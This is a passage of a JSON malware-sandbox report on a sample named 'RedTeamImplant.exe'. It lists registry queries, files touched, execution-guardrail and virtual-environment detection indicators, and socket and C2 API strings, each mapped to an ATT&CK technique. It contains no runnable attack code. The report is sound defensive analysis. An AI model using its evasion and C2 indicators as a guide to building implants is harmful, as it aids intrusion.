\"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\FILESYSTEM\"; Key: \"\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\APPCOMPATFLAGS\"; Key: \"\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\OSDATA\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\APPCOMPATFLAGS\"; Key: \"\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\APPCOMPATFLAGS\\SDBUPDATES\"; Key: \"\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\APPCOMPATFLAGS\\SDBUPDATES\\MANIFESTEDMERGESTUBSDBS\"; Key: \"\"; Value: \"\")"}],"origin":"Registry Access","attck_id":"T1012","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1012","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Installation/Persistence","identifier":"api-235","type":6,"relevance":1,"name":"Queries basic information of the specified process","description":"\"RedTeamImplant.exe\" queries basic process information of the \"C:\\RedTeamImplant.exe\" (UID: 7844)","description_v2":["\"RedTeamImplant.exe\" queries basic process information of the \"C:\\RedTeamImplant.exe\" (UID: 7844)"],"description_v3":[{"type":"text","value":"\"RedTeamImplant.exe\" queries basic process information of the \"C:\\RedTeamImplant.exe\" (UID: 7844)"}],"origin":"API Call","attck_id":"T1057","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1057","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Installation/Persistence","identifier":"registry-172","type":3,"relevance":1,"name":"Queries registry keys","description":"$48","description_v2":["\"RedTeamImplant.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CODEPAGE\"; Key: \"ACP\"; Value: \"\")","\"RedTeamImplant.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CODEPAGE\"; Key: \"OEMCP\"; Value: \"\")","\"RedTeamImplant.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\SESSION MANAGER\"; Key: \"RAISEEXCEPTIONONPOSSIBLEDEADLOCK\"; Value: \"\")","\"RedTeamImplant.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\SESSION MANAGER\"; Key: \"RESOURCEPOLICIES\"; Value: \"\")","\"RedTeamImplant.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\WMI\\SECURITY\"; Key: \"57A6ED1A-79F7-5011-B242-4784E5620CF7\"; Value: \"\")","\"RedTeamImplant.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\WMI\\SECURITY\"; Key: \"3C74AFB9-8D82-44E3-B52C-365DBF48382A\"; Value: \"\")","\"RedTeamImplant.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\WMI\\SECURITY\"; Key: \"B749553B-D950-5E03-6282-3145A61B1002\"; Value: \"\")","\"RedTeamImplant.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\WMI\\SECURITY\"; Key: \"05F95EFE-7F75-49C7-A994-60A55CC09571\"; Value: \"\")","\"RedTeamImplant.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\"; Value: \"\")","\"RedTeamImplant.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\FILESYSTEM\"; Key: \"LONGPATHSENABLED\"; Value: \"\")","\"RedTeamImplant.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\WMI\\SECURITY\"; Key: \"8CCCA27D-F1D8-4DDA-B5DD-339AEE937731\"; Value: \"\")","\"RedTeamImplant.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\APPCOMPATFLAGS\"; Key: \"LOGFLAGS\"; Value: \"\")","\"RedTeamImplant.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\WMI\\SECURITY\"; Key: \"18608E62-A628-49D9-8C02-55972E097D24\"; Value: \"\")","\"RedTeamImplant.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\APPCOMPATFLAGS\"; Key: \"SHOWDEBUGINFO\"; Value: \"\")","\"RedTeamImplant.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\APPCOMPATFLAGS\\SDBUPDATES\"; Key: \"SYSMAIN.SDB\"; Value: \"\")","\"RedTeamImplant.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\APPCOMPATFLAGS\\SDBUPDATES\"; Key: \"DISABLEDOUBLEQUERYSDBS\"; Value: \"\")","\"RedTeamImplant.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\APPCOMPATFLAGS\\SDBUPDATES\"; Key: \"SYSMERGE.SDB\"; Value: \"\")","\"RedTeamImplant.exe\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\SHELL FOLDERS\"; Key: \"CACHE\"; Value: \"\")","\"RedTeamImplant.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\SESSION MANAGER\"; Key: \"SMTDELAYSLEEPLOOPWINDOWSIZE\"; Value: \"\")"],"description_v3":[{"type":"text","value":"\"RedTeamImplant.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CODEPAGE\"; Key: \"ACP\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CODEPAGE\"; Key: \"OEMCP\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\SESSION MANAGER\"; Key: \"RAISEEXCEPTIONONPOSSIBLEDEADLOCK\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\SESSION MANAGER\"; Key: \"RESOURCEPOLICIES\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\WMI\\SECURITY\"; Key: \"57A6ED1A-79F7-5011-B242-4784E5620CF7\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\WMI\\SECURITY\"; Key: \"3C74AFB9-8D82-44E3-B52C-365DBF48382A\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\WMI\\SECURITY\"; Key: \"B749553B-D950-5E03-6282-3145A61B1002\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\WMI\\SECURITY\"; Key: \"05F95EFE-7F75-49C7-A994-60A55CC09571\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\FILESYSTEM\"; Key: \"LONGPATHSENABLED\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\WMI\\SECURITY\"; Key: \"8CCCA27D-F1D8-4DDA-B5DD-339AEE937731\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\APPCOMPATFLAGS\"; Key: \"LOGFLAGS\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\WMI\\SECURITY\"; Key: \"18608E62-A628-49D9-8C02-55972E097D24\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\APPCOMPATFLAGS\"; Key: \"SHOWDEBUGINFO\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\APPCOMPATFLAGS\\SDBUPDATES\"; Key: \"SYSMAIN.SDB\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\APPCOMPATFLAGS\\SDBUPDATES\"; Key: \"DISABLEDOUBLEQUERYSDBS\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\APPCOMPATFLAGS\\SDBUPDATES\"; Key: \"SYSMERGE.SDB\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\SHELL FOLDERS\"; Key: \"CACHE\"; Value: \"\")"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\SESSION MANAGER\"; Key: \"SMTDELAYSLEEPLOOPWINDOWSIZE\"; Value: \"\")"}],"origin":"Registry Access","attck_id":"T1012","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1012","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Installation/Persistence","identifier":"summary-29","type":15,"relevance":1,"name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Able to identify virtual environment by using user activity (API string)\n Matched sigs: Contains ability to delay execution (Powershell command string)\n Matched sigs: The input sample contains the RDTSCP instruction","description_v2":["The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)","Matched sigs: Able to identify virtual environment by using user activity (API string)","Matched sigs: Contains ability to delay execution (Powershell command string)","Matched sigs: The input sample contains the RDTSCP instruction"],"description_v3":[{"type":"text","value":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"linebreak"},{"type":"text","value":"Matched sigs: Able to identify virtual environment by using user activity (API string)"},{"type":"linebreak"},{"type":"text","value":"Matched sigs: Contains ability to delay execution (Powershell command string)"},{"type":"linebreak"},{"type":"text","value":"Matched sigs: The input sample contains the RDTSCP instruction"}],"origin":"Indicator Combinations","attck_id":"T1480","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1480","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Installation/Persistence","identifier":"api-263","type":6,"relevance":1,"name":"Touches files","description":"$49","description_v2":["\"RedTeamImplant.exe\" trying to touch file \"C:\\Windows\\System32\\apphelp.dll\"","\"RedTeamImplant.exe\" trying to touch file \"C:\\RedTeamImplant.exe\"","\"RedTeamImplant.exe\" trying to touch file \"C:\\Windows\\System32\\ntdll.dll\"","\"RedTeamImplant.exe\" trying to touch file \"C:\\Windows\\System32\\kernel32.dll\"","\"RedTeamImplant.exe\" trying to touch file \"C:\\Windows\\System32\\KernelBase.dll\"","\"RedTeamImplant.exe\" trying to touch file \"C:\\Windows\\apppatch\\sysmain.sdb\"","\"RedTeamImplant.exe\" trying to touch file \"C:\\Windows\\apppatch\\MergeSdbFilesSource\\sysMerge.sdb\"","\"RedTeamImplant.exe\" trying to touch file \"C:\\Windows\\System32\\fltLib.dll\"","\"RedTeamImplant.exe\" trying to touch file \"C:\\windows\\temp\\VxOle64.dll\"","\"RedTeamImplant.exe\" trying to touch file \"C:\\WINDOWS\\system32\\IMM32.DLL\"","\"RedTeamImplant.exe\" trying to touch file \"C:\\Windows\\System32\\imm32.dll\"","\"RedTeamImplant.exe\" trying to touch file \"C:\\CRYPTSP.DLL\"","\"RedTeamImplant.exe\" trying to touch file \"C:\\WINDOWS\\SYSTEM32\\CRYPTSP.DLL\"","\"RedTeamImplant.exe\" trying to touch file \"C:\\Windows\\System32\\cryptsp.dll\"","\"RedTeamImplant.exe\" trying to touch file \"\\Global??\\FltMgrMsg\""],"description_v3":[{"type":"text","value":"\"RedTeamImplant.exe\" trying to touch file \"%WINDIR%\\System32\\apphelp.dll\""},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" trying to touch file \"C:\\RedTeamImplant.exe\""},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" trying to touch file \"C:\\Windows\\System32\\ntdll.dll\""},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" trying to touch file \"C:\\Windows\\System32\\kernel32.dll\""},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" trying to touch file \"C:\\Windows\\System32\\KernelBase.dll\""},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" trying to touch file \"C:\\Windows\\apppatch\\sysmain.sdb\""},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" trying to touch file \"C:\\Windows\\apppatch\\MergeSdbFilesSource\\sysMerge.sdb\""},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" trying to touch file \"C:\\Windows\\System32\\fltLib.dll\""},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" trying to touch file \"C:\\windows\\temp\\VxOle64.dll\""},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" trying to touch file \"C:\\WINDOWS\\system32\\IMM32.DLL\""},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" trying to touch file \"C:\\Windows\\System32\\imm32.dll\""},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" trying to touch file \"C:\\CRYPTSP.DLL\""},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" trying to touch file \"C:\\WINDOWS\\SYSTEM32\\CRYPTSP.DLL\""},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" trying to touch file \"C:\\Windows\\System32\\cryptsp.dll\""},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" trying to touch file \"\\Global??\\FltMgrMsg\""}],"origin":"API Call","attck_id":"T1083","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1083","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Installation/Persistence","identifier":"api-126","type":6,"relevance":3,"name":"Tries to access non-existent files (executable)","description":"\"RedTeamImplant.exe\" trying to access non-existent file \"C:\\CRYPTSP.DLL\"","description_v2":["\"RedTeamImplant.exe\" trying to access non-existent file \"C:\\CRYPTSP.DLL\""],"description_v3":[{"type":"text","value":"\"RedTeamImplant.exe\" trying to access non-existent file \"C:\\CRYPTSP.DLL\""}],"origin":"API Call","attck_id":"T1083","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1083","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Network Related","identifier":"string-736","type":2,"relevance":1,"name":"Able to determine NetBIOS or DNS name associated with the local computer","description":"file/memory contains long string with (Indicator: \"getcomputernameexw\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"getcomputernameexw\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["file/memory contains long string with (Indicator: \"getcomputernameexw\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"getcomputernameexw\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"getcomputernameexw\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"getcomputernameexw\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1016","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1016","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Network Related","identifier":"string-879","type":2,"relevance":1,"name":"Able to monitor socket connection","description":"$4a","description_v2":["Found reference to API \"SetsockoptInt\" (Indicator: \"setsockopt\"; File: \"RedTeamImplant.exe\")","Found reference to API \"SetsockoptIPMreq\" (Indicator: \"setsockopt\"; File: \"RedTeamImplant.exe\")","Found reference to API \"SetsockoptLinger\" (Indicator: \"setsockopt\"; File: \"RedTeamImplant.exe\")","Found reference to API \"SetsockoptIPv6Mreq\" (Indicator: \"setsockopt\"; File: \"RedTeamImplant.exe\")","Found reference to API \"SetsockoptInet4Addr\" (Indicator: \"setsockopt\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"setsockopt\"; File: \"RedTeamImplant.exe\")","Found reference to API \"syscall.Setsockopt\" (Indicator: \"setsockopt\"; File: \"RedTeamImplant.exe\")","Found reference to API \"syscall.SetsockoptInt\" (Indicator: \"setsockopt\"; File: \"RedTeamImplant.exe\")","Found reference to API \"SetsockoptInt\" (Indicator: \"setsockopt\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","Found reference to API \"SetsockoptIPMreq\" (Indicator: \"setsockopt\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","Found reference to API \"SetsockoptLinger\" (Indicator: \"setsockopt\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","Found reference to API \"SetsockoptIPv6Mreq\" (Indicator: \"setsockopt\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","Found reference to API \"SetsockoptInet4Addr\" (Indicator: \"setsockopt\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","file/memory contains long string with (Indicator: \"setsockopt\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","Found reference to API \"syscall.Setsockopt\" (Indicator: \"setsockopt\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","Found reference to API \"syscall.SetsockoptInt\" (Indicator: \"setsockopt\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"SetsockoptInt\" (Indicator: \"setsockopt\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"SetsockoptIPMreq\" (Indicator: \"setsockopt\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"SetsockoptLinger\" (Indicator: \"setsockopt\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"SetsockoptIPv6Mreq\" (Indicator: \"setsockopt\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"SetsockoptInet4Addr\" (Indicator: \"setsockopt\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"setsockopt\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"syscall.Setsockopt\" (Indicator: \"setsockopt\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"syscall.SetsockoptInt\" (Indicator: \"setsockopt\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"SetsockoptInt\" (Indicator: \"setsockopt\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"SetsockoptIPMreq\" (Indicator: \"setsockopt\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"SetsockoptLinger\" (Indicator: \"setsockopt\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"SetsockoptIPv6Mreq\" (Indicator: \"setsockopt\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"SetsockoptInet4Addr\" (Indicator: \"setsockopt\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"setsockopt\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"syscall.Setsockopt\" (Indicator: \"setsockopt\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"syscall.SetsockoptInt\" (Indicator: \"setsockopt\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1205.002","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1205/002","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Network Related","identifier":"string-228","type":2,"relevance":1,"name":"Contains ability to communicate with C2 using Sockets (API string)","description":"$4b","description_v2":["file/memory contains long string with (Indicator: \"WSARecv\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"WSASend\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"WSAStartup\"; File: \"RedTeamImplant.exe\")","Found reference to API \"syscall.WSARecv\" (Indicator: \"WSARecv\"; File: \"RedTeamImplant.exe\")","Found reference to API \"syscall.WSASend\" (Indicator: \"WSASend\"; File: \"RedTeamImplant.exe\")","Found reference to API \"syscall.WSAStartup\" (Indicator: \"WSAStartup\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"WSASend\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","Found reference to API \"syscall.WSARecv\" (Indicator: \"WSARecv\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","Found reference to API \"syscall.WSASend\" (Indicator: \"WSASend\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","Found reference to API \"syscall.WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"WSARecv\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"WSASend\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"WSAStartup\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"syscall.WSARecv\" (Indicator: \"WSARecv\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"syscall.WSASend\" (Indicator: \"WSASend\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"syscall.WSAStartup\" (Indicator: \"WSAStartup\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"WSASend\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"syscall.WSARecv\" (Indicator: \"WSARecv\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"syscall.WSASend\" (Indicator: \"WSASend\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"syscall.WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1095","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1095","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Network Related","identifier":"string-601","type":2,"relevance":1,"name":"Contains ability to communicate with network (API string)","description":"$4c","description_v2":["file/memory contains long string with (Indicator: \"WSARecv\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"WSASend\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"WSAStartup\"; File: \"RedTeamImplant.exe\")","Found reference to API \"syscall.WSARecv\" (Indicator: \"WSARecv\"; File: \"RedTeamImplant.exe\")","Found reference to API \"syscall.WSASend\" (Indicator: \"WSASend\"; File: \"RedTeamImplant.exe\")","Found reference to API \"syscall.WSAStartup\" (Indicator: \"WSAStartup\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"WSASend\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","Found reference to API \"syscall.WSARecv\" (Indicator: \"WSARecv\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","Found reference to API \"syscall.WSASend\" (Indicator: \"WSASend\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","Found reference to API \"syscall.WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"WSARecv\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"WSASend\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"WSAStartup\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"syscall.WSARecv\" (Indicator: \"WSARecv\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"syscall.WSASend\" (Indicator: \"WSASend\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"syscall.WSAStartup\" (Indicator: \"WSAStartup\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"WSASend\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"syscall.WSARecv\" (Indicator: \"WSARecv\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"syscall.WSASend\" (Indicator: \"WSASend\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"syscall.WSAStartup\" (Indicator: \"WSAStartup\"; Source: 